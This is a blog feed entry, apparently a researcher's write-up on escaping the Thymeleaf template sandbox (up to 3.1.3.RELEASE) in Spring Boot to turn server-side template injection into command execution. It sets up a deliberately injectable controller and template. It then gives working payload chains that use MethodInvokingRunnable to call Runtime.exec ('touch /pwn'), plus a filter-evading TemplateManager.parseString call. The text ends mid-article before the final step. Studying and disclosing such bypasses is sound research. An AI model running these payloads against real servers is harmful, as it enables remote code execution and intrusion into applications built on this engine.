<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2025-12-27T08:05:06+00:00</updated><id>/feed.xml</id><title type="html">Testeur de stylos</title><subtitle>&quot;For lack of a better description&quot;</subtitle><entry><title type="html">From SSTI to SSTI to RCE - Bypassing Thymeleaf sandbox &amp;lt;= 3.1.3.RELEASE</title><link href="/stuff/2025/04/26/bypassing-thymeleaf-3.1.3-sandbox.html" rel="alternate" type="text/html" title="From SSTI to SSTI to RCE - Bypassing Thymeleaf sandbox &amp;lt;= 3.1.3.RELEASE" /><published>2025-04-26T00:00:00+00:00</published><updated>2025-04-26T00:00:00+00:00</updated><id>/stuff/2025/04/26/bypassing-thymeleaf-3.1.3-sandbox</id><content type="html" xml:base="/stuff/2025/04/26/bypassing-thymeleaf-3.1.3-sandbox.html"><![CDATA[<h2 id="abstract">Abstract</h2>
<p>The Thymeleaf release version 3.0.12 came with improvements in its sandboxed evaluation process, by restricting objects creations and static function calls to be made from within the template. However, there is a specific attribute named <code class="language-plaintext highlighter-rouge">with</code> (see <a href="https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#local-variables">chapter <strong>9. Local Variables</strong></a>) that still allows it. Although some restrictions are in place, I found a first way to bypass the controls of this semi-hardened context and obtain a command execution.</p>

<p>However, if the SSTI occur outside of this <code class="language-plaintext highlighter-rouge">with</code> attribute, the evaluation context would be much more restricted with no object creation nor static function calls allowed. The article <a href="https://noventiq.com/security_blog/spring-view-manipulation-in-spring-boot-3-1-2">Spring View Manipulation in Spring Boot 3.1.2</a> by Noventiq discusses some techniques, but they nowadays fail. It appeared that an attacker would be left with simple primitives and some objects exposed by the engine. The documentation lists some of them in <a href="https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#appendix-a-expression-basic-objects"><strong>18 Appendix A: Expression Basic Objects</strong></a> and <a href="https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#appendix-b-expression-utility-objects"><strong>19 Appendix B: Expression Utility Objects</strong></a> such as <code class="language-plaintext highlighter-rouge">#ctx</code> or <code class="language-plaintext highlighter-rouge">#execInfo</code>. The object <code class="language-plaintext highlighter-rouge">#ctx</code> (class <code class="language-plaintext highlighter-rouge">org.thymeleaf.context.WebEngineContext</code>) can be used to retrieve a reference to a <code class="language-plaintext highlighter-rouge">TemplateManager</code> instance (class <code class="language-plaintext highlighter-rouge">org.thymeleaf.engine.TemplateManager</code>), offering functions to evaluate templates. Then, the idea was to force the application to evaluate a new arbitrary inline template, containing a tag with a <code class="language-plaintext highlighter-rouge">with</code> attribute, therefore evaluating in a semi-hardened context. Injecting the first payload bypassing the semi-hardened context, I was then able to break outside the strongly sandboxed one.</p>

<p>The bottomline is that the <code class="language-plaintext highlighter-rouge">#ctx</code> object gives access to really powerful routines, and therefore makes it possible to perform an SSTI from the SSTI, and then turn it into an RCE.</p>

<h2 id="intro">Intro</h2>

<p>Thymeleaf is the default templating engine of Spring Boot applications, making the view creation process highly customisable and smooth.</p>

<p>For this walkthrough we are going to create a basic application with the following dependencies:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;dependencies&gt;</span>
    <span class="nt">&lt;dependency&gt;</span>
        <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
        <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-web<span class="nt">&lt;/artifactId&gt;</span>
        <span class="nt">&lt;version&gt;</span>3.4.4<span class="nt">&lt;/version&gt;</span>
    <span class="nt">&lt;/dependency&gt;</span>

    <span class="nt">&lt;dependency&gt;</span>
        <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
        <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-tomcat<span class="nt">&lt;/artifactId&gt;</span>
        <span class="nt">&lt;scope&gt;</span>provided<span class="nt">&lt;/scope&gt;</span>
    <span class="nt">&lt;/dependency&gt;</span>
    <span class="nt">&lt;dependency&gt;</span>
        <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
        <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-thymeleaf<span class="nt">&lt;/artifactId&gt;</span>
    <span class="nt">&lt;/dependency&gt;</span>
<span class="nt">&lt;/dependencies&gt;</span>
</code></pre></div></div>

<p>The template is as follows, with a simple tag containing the infamous <code class="language-plaintext highlighter-rouge">__...__</code> sequence (more about this later):</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span> <span class="na">xmlns:th=</span><span class="s">"http://www.thymeleaf.org"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;head&gt;</span>
        <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"UTF-8"</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;title&gt;</span>Document<span class="nt">&lt;/title&gt;</span>
    <span class="nt">&lt;/head&gt;</span>
    <span class="nt">&lt;body&gt;</span>
    [(__${p}__)]
    <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>&gt;
</code></pre></div></div>

<p>and the Java class as follows, passing the user input as <code class="language-plaintext highlighter-rouge">p</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.example.spring_boot_web</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">org.springframework.stereotype.Controller</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.ui.Model</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.web.bind.annotation.RequestMapping</span><span class="o">;</span>

<span class="nd">@Controller</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">MainController</span> <span class="o">{</span>

    <span class="nd">@RequestMapping</span><span class="o">(</span><span class="s">"/test"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="nc">String</span> <span class="nf">index</span><span class="o">(</span><span class="nc">String</span> <span class="n">p</span><span class="o">,</span> <span class="nc">Model</span> <span class="n">m</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">m</span><span class="o">.</span><span class="na">addAttribute</span><span class="o">(</span><span class="s">"p"</span><span class="o">,</span><span class="n">p</span><span class="o">);</span>
        <span class="k">return</span> <span class="s">"index"</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="hardened-and-semi-hardened-environments">Hardened and semi-hardened environments</h2>

<p>SSTI in Thymeleaf may occur if the template content is built based on the user inputs, or if the latter is used within the preprocessing sequence <code class="language-plaintext highlighter-rouge">__...__</code>. This is a well known dangerous feature, as described for instance in the article <a href="https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/"><strong>Exploiting SSTI in Thymeleaf</strong></a> by Acunetix or <a href="https://modzero.com/en/blog/spring_boot_ssti/"><strong>Exploiting SSTI in a Modern Spring Boot Application (3.3.4)</strong></a> by ModZero. Every information put between these double underscores would be pre-processed, and its result would be considered as if it took part of the regular template. Obviously, if a user is able to inject malicious content within these preprocessing directives, it would be extremely dangerous. It was therefore known that the following template:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;p&gt;</span>[(__${userinput}__)]<span class="nt">&lt;/p&gt;</span>
</code></pre></div></div>

<p>could be abused with a payload such as <code class="language-plaintext highlighter-rouge">userinput=${T(java.lang.Runtime).getRuntime().exec('my-evil-command'))}</code>. Indeed, the string <code class="language-plaintext highlighter-rouge">${T(java.lang.Runtime).getRuntime().exec('my-evil-command'))}</code> would be processed, and therefore lead to command execution.</p>

<p>However, the release version 3.0.12 improved the security of the solution by denying arbitrary object creations and static functions calls from within the templates, canceling the effect of the previous payload. We are going to refer to it as a <em>strongly hardened context</em>.</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="Objects creation and static function calls denied" src="/assets/res/stuff/thymeleaf_ssti/error_denied_static.png" /></p>

<p>However, these object creations and static functions calls are still possible within a specific attribute offered by Thymeleaf: <a href="https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#local-variables"><code class="language-plaintext highlighter-rouge">th:with</code></a>. The latter is meant to declare local variables from within the rendering process, that can be reused later on:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;p</span> <span class="na">th:with=</span><span class="s">"varName=__${userinput}__"</span><span class="nt">&gt;</span>Variable is: [(${varName})]<span class="nt">&lt;/p&gt;</span>
</code></pre></div></div>

<p>Still, this context does not allow everything, and some restrictions are enforced, trying to prevent from dangerous classes and routines invocation. For instance, the whole package <code class="language-plaintext highlighter-rouge">java.*</code> is denied, except some basic types such as lists, strings, or numbers. Therefore, trying to invoke <code class="language-plaintext highlighter-rouge">Runtime.exec</code> or <code class="language-plaintext highlighter-rouge">ProcessBuilder.start</code> would fail (the section <a href="#no-rce">No RCE ?</a> discusses some possibilities that exist, when RCE is not trivial). We are going to refer to this context as <em>semi-hardened</em>.</p>

<h2 id="breaking-outside-the-semi-hardened-context">Breaking outside the semi-hardened context</h2>

<p>At the beginning of this research, I found <a href="https://noventiq.com/security_blog/spring-view-manipulation-in-spring-boot-3-1-2">this really interesting article</a> by Noventiq (as you probably also did if you were looking for information about SSTI in Thymeleaf), but their techniques did not work anymore against the version 3.1.3.RELEASE, the one I tested. Creating arbitrary classes with <code class="language-plaintext highlighter-rouge">Class.forName</code> was denied, and I did not want to assume the presence of some third-party libraries.</p>

<p>What is quite interesting to notice regarding the Thymeleaf’s filtering process is that it uses a denylist approach. In <code class="language-plaintext highlighter-rouge">ExpressionUtils</code> class, one can notice that the following packages are denied (except some basic classes):</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="ExpressionUtils class" src="/assets/res/stuff/thymeleaf_ssti/expression_utils.png" /></p>

<p>This means that:</p>
<ul>
  <li>The code of the application itself is not denied</li>
  <li>Lots of potential third-party libraries are allowed</li>
  <li>There are still numerous sub-packages of <code class="language-plaintext highlighter-rouge">org.springframework</code> that are allowed</li>
</ul>

<p>Hunting for dangerous classes finally made me stumbled upon the package <code class="language-plaintext highlighter-rouge">org.springframework.scheduling</code> that did not belong to the denylist. This package contains the class <a href="org.springframework.scheduling.support.MethodInvokingRunnable"><code class="language-plaintext highlighter-rouge">MethodInvokingRunnable</code></a>, a subclass or <code class="language-plaintext highlighter-rouge">org.springframework.util.MethodInvoker</code>. This handy class makes it possible to invoke member methods like this:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">MethodInvokingRunnable</span> <span class="n">m</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MethodInvokingRunnable</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">setTargetObject</span><span class="o">(</span><span class="n">theObj</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setTargetMethod</span><span class="o">(</span><span class="s">"the_method"</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setArguments</span><span class="o">(</span><span class="n">arg1</span><span class="o">,</span> <span class="n">arg2</span> <span class="err">…</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">prepare</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">invoke</span><span class="o">();</span>
</code></pre></div></div>

<p>or static ones like this:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">MethodInvokingRunnable</span> <span class="n">m</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MethodInvokingRunnable</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">setTargetClass</span><span class="o">(</span><span class="nc">TheClass</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setStaticMethod</span><span class="o">(</span><span class="s">"full.package.name.TheClass.the_method"</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setArguments</span><span class="o">(</span><span class="n">arg1</span><span class="o">,</span> <span class="n">arg2</span> <span class="err">…</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">prepare</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">invoke</span><span class="o">();</span>
</code></pre></div></div>

<p>Then, it was quite clear that I could invoke <code class="language-plaintext highlighter-rouge">Runtime.exec</code> with these three steps:</p>
<ul>
  <li>obtain a reference to the class <code class="language-plaintext highlighter-rouge">java.lang.Runtime</code></li>
  <li>invoke the method <code class="language-plaintext highlighter-rouge">getRuntime</code> on it</li>
  <li>invoke the method <code class="language-plaintext highlighter-rouge">exec</code> with the expected arguments</li>
</ul>

<h3 id="step-1---get-a-reference-to-runtime">Step 1 - Get a reference to <code class="language-plaintext highlighter-rouge">Runtime</code></h3>

<p>This can be done as follows, to invoke <code class="language-plaintext highlighter-rouge">Class.forName</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">MethodInvokingRunnable</span> <span class="n">m</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MethodInvokingRunnable</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">setTargetClass</span><span class="o">(</span><span class="s">""</span><span class="o">.</span><span class="na">getClass</span><span class="o">());</span>
<span class="n">m</span><span class="o">.</span><span class="na">setStaticMethod</span><span class="o">(</span><span class="s">"java.lang.Class.forName"</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setArguments</span><span class="o">(</span><span class="s">"java.lang.Runtime"</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">prepare</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">invoke</span><span class="o">();</span>
</code></pre></div></div>

<p>Within the SSTI payload, one needs to store the <code class="language-plaintext highlighter-rouge">m</code> variable somehow, hence I used the <code class="language-plaintext highlighter-rouge">setVariable</code> and <code class="language-plaintext highlighter-rouge">getVariable</code> routines, as proposed by Noventiq. Quite ugly, but it works. It then gives us this, for this first sub-payload (spaces are new lines added for clarity’s sake):</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    </span><span class="s1">''</span><span class="p"> + #ctx.setVariable(</span><span class="s1">'a'</span><span class="p">, new org.springframework.scheduling.support.MethodInvokingRunnable()) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setTargetClass(</span><span class="s1">''</span><span class="p">.class) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setStaticMethod(</span><span class="s1">'java.lang.Class.forName'</span><span class="p">) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setArguments(</span><span class="s1">'java.lang.Runtime'</span><span class="p">) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).prepare() +
    #ctx.setVariable(</span><span class="s1">'b'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).invoke())
</span><span class="k">}</span>
</code></pre></div></div>

<p>Since we will use the values returned by <code class="language-plaintext highlighter-rouge">Class.forName</code>, we use another temporary variable (named here <code class="language-plaintext highlighter-rouge">b</code>).</p>

<p><em><strong>Note</strong>: here, we use single quotes to write strings, to avoid the risk of breaking the injection</em></p>

<h2 id="step-2---invoking-getruntime">Step 2 - Invoking <code class="language-plaintext highlighter-rouge">getRuntime</code></h2>

<p>The process repeats here, to invoke <code class="language-plaintext highlighter-rouge">getRuntime</code> against the obtained class reference:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">MethodInvokingRunnable</span> <span class="n">m</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MethodInvokingRunnable</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">setTargetClass</span><span class="o">(</span><span class="n">theClassReference</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setStaticMethod</span><span class="o">(</span><span class="s">"java.lang.Runtime.getRuntime"</span><span class="o">);</span>
<span class="c1">// no arguments for getRuntime</span>
<span class="n">m</span><span class="o">.</span><span class="na">prepare</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">invoke</span><span class="o">();</span>
</code></pre></div></div>

<p>The SSTI payload then becomes:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    </span><span class="s1">''</span><span class="p"> + #ctx.setVariable(</span><span class="s1">'a'</span><span class="p">, new org.springframework.scheduling.support.MethodInvokingRunnable()) + 
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setTargetClass(</span><span class="s1">''</span><span class="p">.class) + 
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setStaticMethod(</span><span class="s1">'java.lang.Class.forName'</span><span class="p">) + 
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setArguments(</span><span class="s1">'java.lang.Runtime'</span><span class="p">) + 
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).prepare() +
    #ctx.setVariable(</span><span class="s1">'b'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).invoke())+

    #ctx.setVariable(</span><span class="s1">'c'</span><span class="p">, new org.springframework.scheduling.support.MethodInvokingRunnable()) +
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).setTargetClass(#ctx.getVariable(</span><span class="s1">'b'</span><span class="p">)) + 
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).setStaticMethod(</span><span class="s1">'java.lang.Runtime.getRuntime'</span><span class="p">) + 
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).prepare() +
    #ctx.setVariable(</span><span class="s1">'d'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).invoke())
</span><span class="k">}</span>
</code></pre></div></div>

<p>The object returned by the first function call is stored as <code class="language-plaintext highlighter-rouge">b</code> and passed to the second one. The same principle will apply with the variable <code class="language-plaintext highlighter-rouge">d</code>.</p>

<h2 id="step-3---invoking-exec">Step 3 - Invoking <code class="language-plaintext highlighter-rouge">exec</code></h2>

<p>Doing it a third time led to <code class="language-plaintext highlighter-rouge">exec</code> invocation, in a semi-hardened context. Here, we invoke a member method, hence the use of <code class="language-plaintext highlighter-rouge">setTargetObject</code> and <code class="language-plaintext highlighter-rouge">setTargetMethod</code> instead of <code class="language-plaintext highlighter-rouge">setTargetClass</code> and <code class="language-plaintext highlighter-rouge">setStaticMethod</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">MethodInvokingRunnable</span> <span class="n">m</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MethodInvokingRunnable</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">setTargetObject</span><span class="o">(</span><span class="n">theRuntimeObj</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setTargetMethod</span><span class="o">(</span><span class="s">"exec"</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">setArguments</span><span class="o">(</span><span class="s">"touch /pwn"</span><span class="o">);</span>
<span class="n">m</span><span class="o">.</span><span class="na">prepare</span><span class="o">();</span>
<span class="n">m</span><span class="o">.</span><span class="na">invoke</span><span class="o">();</span>
</code></pre></div></div>

<p>By putting all the pieces together, we end up with this SSTI payload executing the command <code class="language-plaintext highlighter-rouge">touch /pwn</code>, valid in a semi-hardened context</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    </span><span class="s1">''</span><span class="p"> + #ctx.setVariable(</span><span class="s1">'a'</span><span class="p">, new org.springframework.scheduling.support.MethodInvokingRunnable()) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setTargetClass(</span><span class="s1">''</span><span class="p">.class) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setStaticMethod(</span><span class="s1">'java.lang.Class.forName'</span><span class="p">) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setArguments(</span><span class="s1">'java.lang.Runtime'</span><span class="p">) +
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).prepare() +
    #ctx.setVariable(</span><span class="s1">'b'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).invoke()) + 
    
    #ctx.setVariable(</span><span class="s1">'c'</span><span class="p">, new org.springframework.scheduling.support.MethodInvokingRunnable()) +
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).setTargetClass(#ctx.getVariable(</span><span class="s1">'b'</span><span class="p">)) +
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).setStaticMethod(</span><span class="s1">'java.lang.Runtime.getRuntime'</span><span class="p">) + 
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).prepare() +
    #ctx.setVariable(</span><span class="s1">'d'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).invoke()) +
    
    #ctx.setVariable(</span><span class="s1">'e'</span><span class="p">, new org.springframework.scheduling.support.MethodInvokingRunnable()) +
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).setTargetObject(#ctx.getVariable(</span><span class="s1">'d'</span><span class="p">)) +
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).setTargetMethod(</span><span class="s1">'exec'</span><span class="p">) +
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).setArguments(</span><span class="s1">'touch /pwn'</span><span class="p">) +
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).prepare() +
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).invoke()
</span><span class="k">}</span>
</code></pre></div></div>

<h2 id="breaking-outside-a-strongly-hardened-context">Breaking outside a strongly hardened context</h2>

<p>Injecting into a strongly hardened context makes the previous payload ineffective, because objects creation are now denied, and therefore preventing us from invoking <code class="language-plaintext highlighter-rouge">new MethodInvokingRunnable</code>. An attacker is left to the primitive types and a few exposed objects. Exploring a little bit what we can access reveals that we have the following exposed objects:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ctx, root, vars, object, locale, conversions, uris, temporals,
calendars, dates, bools, numbers, objects, strings, arrays, lists,
sets, maps, aggregates, messages, ids, execInfo, request, response,
session, servletContext, fields, themes, mvc, requestdatavalues
</code></pre></div></div>

<p>and the following populated variables, accessible through <code class="language-plaintext highlighter-rouge">#ctx.getVariable</code> (the <code class="language-plaintext highlighter-rouge">p</code> is the custom one injected from the Java side):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER,
org.springframework.web.servlet.HandlerMapping.bestMatchingHandler,
org.springframework.web.servlet.DispatcherServlet.CONTEXT,
thymeleaf::EvaluationContext,
org.springframework.web.servlet.resource.ResourceUrlProvider,
characterEncodingFilter.FILTERED,
org.springframework.web.util.ServletRequestPathUtils.PATH
org.springframework.web.servlet.DispatcherServlet.LOCALE_RESOLVER,
formContentFilter.FILTERED,
org.springframework.web.servlet.HandlerMapping.bestMatchingPattern,
requestContextFilter.FILTERED,
org.springframework.web.servlet.DispatcherServlet.OUTPUT_FLASH_MAP,
org.springframework.web.servlet.DispatcherServlet.FLASH_MAP_MANAGER,
org.springframework.core.convert.ConversionService,
org.springframework.web.servlet.View.selectedContentType,
org.springframework.web.servlet.HandlerMapping.matrixVariables,
errorPageFilterRegistration.FILTERED, thymeleafRequestContext,
org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE,
springMacroRequestContext,
p,
org.springframework.web.servlet.HandlerMapping.pathWithinHandlerMapping,
org.springframework.web.servlet.HandlerMapping.uriTemplateVariables,
springRequestContext,
org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER
</code></pre></div></div>

<p>One of these objects (or its aliases) is quite powerful, as it exposes some functions related to the templating engine itself: <code class="language-plaintext highlighter-rouge">#ctx</code>, being an instance of the class <code class="language-plaintext highlighter-rouge">org.thymeleaf.context.WebEngineContext</code>. A reference to the class <code class="language-plaintext highlighter-rouge">TemplateManager</code> can be obtained through the sequence <code class="language-plaintext highlighter-rouge">#ctx.getConfiguration().getTemplateManager()</code>. Taking a look at the documentation of this class reveals three valuable routines:</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="TemplateManager routines" src="/assets/res/stuff/thymeleaf_ssti/routines_tpl_manager.png" /></p>

<p>Then, an idea came to my mind: <strong><em>and what if we could leverage the first SSTI in a hardened context, to willingly ask the <code class="language-plaintext highlighter-rouge">TemplateManager</code> for the evaluation of a new arbitrary inline template, containing a <code class="language-plaintext highlighter-rouge">th:with</code> attribute, so as to inject our previous payload in a semi-hardened context ?</em></strong></p>

<p>The idea was therefore to invoke first <code class="language-plaintext highlighter-rouge">TemplateManager.parseString</code> and use its result as a first argument for <code class="language-plaintext highlighter-rouge">TemplateManager.process</code>, hoping that it would lead to a breakout.</p>

<h3 id="invoking-parsestring">Invoking <code class="language-plaintext highlighter-rouge">parseString</code></h3>

<p>As a reminder, we can here only use the exposed objects and their methods. Then the expected arguments for <code class="language-plaintext highlighter-rouge">parseString</code> could be:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nc">TemplateHandler</span> <span class="nf">parseString</span><span class="o">(</span>
    <span class="nc">TemplateData</span> <span class="n">ownerTemplateData</span><span class="o">,</span>
    <span class="nc">String</span> <span class="n">template</span><span class="o">,</span>
    <span class="kt">int</span> <span class="n">lineOffset</span><span class="o">,</span>
    <span class="kt">int</span> <span class="n">colOffset</span><span class="o">,</span>
    <span class="nc">TemplateMode</span> <span class="n">templateMode</span><span class="o">,</span>
    <span class="kt">boolean</span> <span class="n">useCache</span><span class="o">);</span>
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ownerTemplateData</code>: reuse the one exposed by <code class="language-plaintext highlighter-rouge">#ctx.getTemplateData()</code>. It would be related to the first injected template, but it does not really matter</li>
  <li><code class="language-plaintext highlighter-rouge">template</code>: the arbitrary inline template that we want to evaluate, with the <code class="language-plaintext highlighter-rouge">th:with</code> attribute. For the moment, it may be something like <code class="language-plaintext highlighter-rouge">'&lt;p th:with="x=${T(java.lang.Runtime)}"&gt;[(${x})]&lt;/p&gt;'</code></li>
  <li><code class="language-plaintext highlighter-rouge">lineOffset</code> and <code class="language-plaintext highlighter-rouge">colOffset</code>: may be set to 0, to process the whole template</li>
  <li><code class="language-plaintext highlighter-rouge">templateMode</code>: we can reuse the one of the current context (<code class="language-plaintext highlighter-rouge">TemplateMode.HTML</code> in this case), with the call <code class="language-plaintext highlighter-rouge">#ctx.getTemplateMode()</code></li>
  <li><code class="language-plaintext highlighter-rouge">useCache</code>: set it to <code class="language-plaintext highlighter-rouge">false</code> to force re-processing</li>
</ul>

<p>Therefore, the invocation from the SSTI payload looks like (spaces and new lines added for readability):</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    #ctx.getConfiguration().getTemplateManager().parseString(
        #ctx.getTemplateData(),
        </span><span class="s1">'&lt;p+th:with="x=${T'</span><span class="p">%2b</span><span class="s1">'(java.lang.Runtime)}"&gt;[(${x})]&lt;/p&gt;'</span><span class="p">,
        0,
        0,
        #ctx.getTemplateMode(),
        false
    )
</span><span class="k">}</span>
</code></pre></div></div>

<p>One thing is important to notice here: to avoid triggering the expression filter too early, I split the template between the <code class="language-plaintext highlighter-rouge">T</code> and the <code class="language-plaintext highlighter-rouge">(</code>, supposed to refer to a class, generally used to perform a static method invocation (<code class="language-plaintext highlighter-rouge">T(com.package.Class).method(...)</code>). The <code class="language-plaintext highlighter-rouge">%2b</code> is a <code class="language-plaintext highlighter-rouge">+</code> symbol encoded as URL, performing a concatenation.</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="Call to parseString" src="/assets/res/stuff/thymeleaf_ssti/parsestring.png" /></p>

<h3 id="invoking-process">Invoking <code class="language-plaintext highlighter-rouge">process</code></h3>

<p>This one was trickier and took me time to solve. While the two first arguments are easy to obtain (previous method invocation and current context <code class="language-plaintext highlighter-rouge">#ctx</code>), the last one was quite hidden:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">process</span><span class="o">(</span><span class="nc">TemplateModel</span> <span class="n">template</span><span class="o">,</span> <span class="nc">ITemplateContext</span> <span class="n">context</span><span class="o">,</span> <span class="nc">Writer</span> <span class="n">writer</span><span class="o">)</span>
</code></pre></div></div>

<p>The argument <code class="language-plaintext highlighter-rouge">writer</code> should be an instance of an implementation of the interface <code class="language-plaintext highlighter-rouge">java.io.Writer</code>. At first glance, it seemed that no routine from <code class="language-plaintext highlighter-rouge">#ctx</code> would directly or indirectly return an instance of a <code class="language-plaintext highlighter-rouge">Writer</code>. Moreover, the objects <code class="language-plaintext highlighter-rouge">#request</code>, <code class="language-plaintext highlighter-rouge">#response</code>, <code class="language-plaintext highlighter-rouge">#session</code> and <code class="language-plaintext highlighter-rouge">#servletContext</code> are denied, although they are exposed by the engine. I knew that in older versions, it would have been easy to get a <code class="language-plaintext highlighter-rouge">Writer</code> from the <code class="language-plaintext highlighter-rouge">#response</code>, but now it is no more the case.</p>

<p>And finally, after a while, I found what I was looking for:</p>

